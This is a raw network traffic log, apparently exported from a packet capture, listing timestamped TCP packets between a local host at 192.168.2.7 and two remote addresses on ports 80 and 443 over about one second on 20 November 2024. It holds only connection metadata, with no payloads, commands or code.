Nov 20, 2024 23:12:28.859613895 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.859709024 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.859749079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.874733925 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.874802113 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.874876976 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.876647949 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.876647949 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.876663923 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.876672029 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.890172958 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.890235901 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.890317917 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.891603947 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.891618967 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.913793087 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.913811922 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.913877964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.913930893 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.914318085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.914377928 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.914618015 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.914664984 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.915417910 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.915476084 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.915497065 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.915551901 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.916553020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.916594028 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.916668892 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.916708946 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.917748928 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.917798996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.917838097 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.917880058 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.918804884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.918847084 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.918880939 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.918920994 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.920042992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.920084000 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.920144081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.920186043 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.921047926 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.921089888 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.921199083 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.921238899 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.922159910 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.922219992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.922276020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.922317982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.923266888 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.923330069 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.923367977 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.923410892 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.924411058 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.924436092 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.924468994 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.924484968 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.925580978 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.925636053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.925682068 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.925721884 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.926713943 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.926769018 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.926769972 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.926810980 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.927781105 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.927819014 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.927843094 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.927859068 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.928893089 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.928946018 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.929001093 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.929043055 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.929992914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.930037975 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.930124044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.930165052 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.931102991 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.931153059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.931202888 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.931251049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.932226896 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.932276964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.932338953 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.932379961 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.933331966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.933377981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.933420897 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.933459044 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.934463024 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.934520006 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.934537888 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.934617996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.986618996 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.986702919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.986726999 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.986777067 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.987005949 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.987056017 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.987097025 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.987138033 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.988114119 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.988178015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.988184929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.988223076 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.989236116 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.989278078 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.989342928 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.989383936 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.990358114 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.990408897 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.990499020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.990540981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.991553068 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.991600990 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.991602898 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.991641998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.992607117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.992654085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.992696047 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.992738962 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.993721962 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.993763924 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.993827105 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.993869066 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.994812012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.994863987 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.994926929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.994967937 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.995373011 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.995549917 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.995603085 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.995943069 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.995990038 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.996033907 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.996074915 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.997075081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.997118950 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.997205973 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.997245073 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.998233080 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.998270035 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.998272896 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.998311043 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.999320030 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.999372959 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.999413967 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.999458075 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.000485897 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.000530958 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.000632048 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.000674963 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.001559019 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.001629114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.001662016 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.001703978 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.002697945 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.002744913 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.002789974 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.002832890 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.003796101 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.003869057 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.003941059 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.004024982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.004250050 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.004272938 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.004283905 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.004290104 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.057892084 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.057960033 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.058010101 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.058130026 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.058182955 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.058192968 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.058233976 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.058728933 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.058773994 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.058806896 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.058849096 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.059799910 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.059848070 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.059864044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.059906006 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.060980082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.061033964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.061058044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.061110973 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.062030077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.062073946 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.062154055 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.062192917 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.063159943 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.063225985 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.063330889 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.063379049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.064296007 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.064342976 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.064380884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.064423084 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.065427065 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.065474987 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.065511942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.065557957 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.066520929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.066565037 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.066649914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.066698074 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.067639112 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.067682028 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.067758083 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.067800045 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.068809986 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.068819046 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.068856001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.068862915 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.068867922 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.068929911 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.068933964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.068965912 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.068965912 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.068989038 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.069009066 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.069871902 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.069914103 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.069946051 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.069987059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.071023941 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.071086884 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.071093082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.071137905 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.072130919 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.072179079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.072251081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.072290897 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.073276997 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.073323965 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.073365927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.073410034 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.074368000 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.074414015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.074517965 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.074558020 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.075504065 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.075548887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.075584888 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.075625896 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.102164030 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.102199078 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.114999056 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.115058899 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.115071058 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.115103006 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.115536928 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.115602970 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.115696907 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.115736008 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.116683960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.116727114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.117068052 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.117111921 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.117808104 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.117851019 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.117877960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.117918015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.118930101 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.118978977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.119124889 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.119170904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.120151997 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.120166063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.120197058 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.120212078 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.121263981 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.121309042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.121388912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.121428967 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.122272015 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.122320890 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.122354984 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.122395992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.123387098 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.123429060 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.123446941 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.123486996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.124552965 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.124594927 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.124602079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.124640942 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.125076056 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.125094891 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.125155926 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.125658989 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.125706911 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.125751019 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.125793934 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.126749039 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.126775026 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:29.126792908 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:29.126805067 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.126851082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.126889944 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.127867937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.127924919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.127969027 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.128010988 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.129014015 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.129056931 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.129096031 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.129137993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.130112886 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.130160093 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.130249977 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.130294085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.131226063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.131268024 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.131347895 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.131395102 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.132369995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.132416964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.132469893 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.132510900 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.133500099 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.133567095 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.133642912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.133685112 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.134608984 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.134650946 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.134697914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.134737968 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.135690928 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.135735035 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.135787964 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.135829926 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.208894968 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.208961010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.209022999 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.209065914 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.209404945 CET	80	49710	185.215.113.206	192.168.2.7
